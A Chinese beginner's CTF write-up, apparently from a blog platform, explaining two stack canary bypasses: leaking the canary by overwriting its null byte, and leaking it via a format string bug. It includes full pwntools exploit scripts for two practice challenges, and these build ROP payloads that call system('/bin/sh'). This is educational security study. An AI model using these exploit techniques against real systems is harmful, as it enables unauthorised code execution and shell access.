从o开始的pwn学习之随意pwnpwn(1)----两种绕过canary(金丝雀)的实例

从0开始的pwn学习之随意pwnpwn(1)----两种绕过canary(金丝雀)的实例

做两道简单的pwn(因为刚刚学,可能难免会有错误,望师傅们轻点骂)

众所周知,绕过canary的方法除了一个一个猜字节(不是),还有两种常见方法

(1)通过覆盖00字符读出canary

(2)通过格式化字符串漏洞泄露canary

金丝雀基础知识

Canary 的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。

canary是如何工作的

在函数初始化的时候回初始化一个随机的canary值置于缓冲区的末端,在函数返回之前会对canary的值进行验证,无误则正常返回。

如下图

原理

因为通过格式化字符串漏洞可以实现任意内存的读写,而且,在一个程序里,不同函数在运行中使用的canary值是相同的,所以可以通过对格式化字符串漏洞的利用,或用覆盖00字符的方法,将canary的值读出来,实现缓冲区溢出攻击后(控制RET地址),在函数退出验证前再将canary 的值填回栈中,通过验证实现函数的正常返回

覆盖00字符读出canary

原理

  • canary的值设计为以0x00结尾,防止read,printf等函数直接读出
  • 通过栈溢出覆盖最低位的字节,从而获得canary

利用条件

  • 存在read/printf等读出字符串的函数
  • 可以两次栈溢出
    • 第一次是覆盖00字节,得到canary
    • 第二次是利用canary进行攻击

实例–bugku现在的pwn4

题目地址

首先,我们来checksec一下

发现,对got表进行半保护,即got表可读,有金丝雀,有NX(无法写入shellcode),地址不随机。

那么,反编译看看吧。

首先看看有没有奇怪字符串,发现惊喜

发现奇怪hint函数,跟进查看,再次发现惊喜

于是发现是简单绕过canary的题,没有格式化字符串漏洞,于是选择通过覆盖00字符读出canary

用gdb看一眼

可以看出金丝雀放在rbp-0x8的位置,设断点运行,看一眼金丝雀的地址

看一眼

重新开始,发现改变,确定此处就是金丝雀

那么思路到这里就结束了。

进行准备工作用ROPgadget找一下rdi和/bin/sh

于是扔脚本

from pwn import *
import struct
context.log_level = 'debug'

sh = remote('114.67.246.176', 17317)
#sh = process('./pwn4')

sh.recv()
sh.sendline((0x240-0x8)*b'a')
sh.recvuntil('a'*(0x240-0x8)+'\n')

can = sh.recvuntil('\n', drop=True)#泄露canary
print(can)
if len(can) != 8:
   can = b'\x00'+can
print(b'canary:'+can)

poprdi= 0x0400963
system = 0x0400660
bin_addr = 0x601068
payload = b'b'*(0x210-0x8) + can + b'a'*8 + p64(poprdi) +p64(bin_addr) + p64(system)
sh.send(payload)
sh.recv()
sh.interactive()

通过格式化字符串漏洞泄露canary

格式化字符串读出canary

格式化字符串漏洞
基础知识

首先了解一些前置知识。

参数输入类型输出类型
%d十进制整数
%u无符号十进制整数
%x十六进制整数
%s指针字符串
%n指针到目前位置为止,已写的字节个数

%n格式化参数比较独特,因为它在写数据时没有任何输出,与读数据然后显示相反,格式化函数遇到格式化参数%n时,它将输出已经被存放到对应函数参数地址的字节数。

上图为我们调用printf(string)时栈的大体结构

当我们用printf(string)语句代替printf("%s",string)语句输出字符串时,就会造成格式化字符串漏洞。我们的本意只是单纯打印一段字符,但如果这段字符串来源于外部用户可控的输入,则该用户完全可以在字符串中嵌入格式化字符(如%s)。那么,由于printf允许参数个数不固定,故printf会自动将这段字符当作format参数,而用其后内存中的数据匹配formate参数。

1)如str就是“ctyssb”,则直接输出“ctyssb”

2)如str是format,比如是%3$x,则输出偏移3处的16进制数据。

要是我们的输入可以覆盖偏移2的内容为0x41414141,载通过给printf(formate)的formate赋值%2$s,那我们就可以读取地址0x41414141指向的值.

向任意存储地点写入

img

可以使用%n来对任意存储地址进行写入操作。通过向printf(formate)的formate赋值%20s$2n就可以将0x41414141所指向的值修改为0x14(16进制)

读出偏移量

以aaaa(32位)/aaaaaaaa(64位)±%p-%p-%p-%p-%p-%p-%p-%p-%p读出偏移量

can获得方法

首先,我们要知道,can大小为0x8或0x4下列用0x8举例

这里先用ida找到溢出点与ebp的距离这里用0x??举例

既然我们要欺骗金丝雀,可定不能把它覆盖掉,于是要相应的减去0x8,那么我们可知can的位置了,作为一个对编程有一点点基础的人,我们可知以字节为8位,那么我们可以用offset =(0x??-0x8)/8+偏移量 算出can的位置。于是我们用格式化字符串输出一下以‘%offset$p’的方式用recv()/recvuntil(‘字符’,drop=True)得到can的内容(不要忘记int一下),此刻我们就可以成功获得can的值了,那么我们已经做好了欺骗金丝雀的前置准备了。

金丝雀 DIE

此刻已经可以写payload了

那么假设我们已经通过上述方法获得can的值了,于是开始操作

payload=b‘a’(0x??-0x8) +p64(can)+b’a’(0x8)+要执行的操作

金丝雀,gg。

实例 --攻防世界 – Mary_Morton

题目地址

1.日常checksec一下

一个64位程序,对got表进行半保护(got表可读),有金丝雀,有NX(不可写shellcode),地址不随机

2.那我们随随便便拖进ida看一眼

看起来这个程序想和我battle一下,那咱们进sub_4009DA和sub_4008EB看一眼。

再结合总程序来看很明显,当我们输入1,用的bufferoverflow,但输入2的话,很明显是我们的老朋友了,格式化字符串漏洞。,于是随机产生思路,我们第一步直接用格式化字符串找到偏移量。

执行后得到偏移量。

很明显我们可以看出偏移量为6

那么既然我们知道偏移量了,那么我们就可以算出can的位置了。

由ida我们可以看到,我们的buf距离ebp有0x90的距离。ok,0x90-0x8=0x88,0x88/8=17,17+6=23,那么到这里我们终于知道can的位置了。此时准备工作完成,于是扔脚本

from pwn import*
context(os='linux',arch='amd64',log_level='debug')

sh = remote( '220.249.52.133',43484)
sh.recvuntil('battle \n')
sh.sendline('2')
sh.sendline('%23$p')
can = int (sh.recv(),16)
flag = 0x4008DA
payload = b'a'*(0x90-8) + p64(can) + b'a'*8 +p64(flag)
sh.recvuntil('battle \n')
sh.sendline('1')
sh.sendline(payload)
sh.interactive()

执行后得到flag

以上就是两种最基本的canary绕过方法的原理与实例了,有错误欢迎指出。

  • 16
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 8
    评论
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值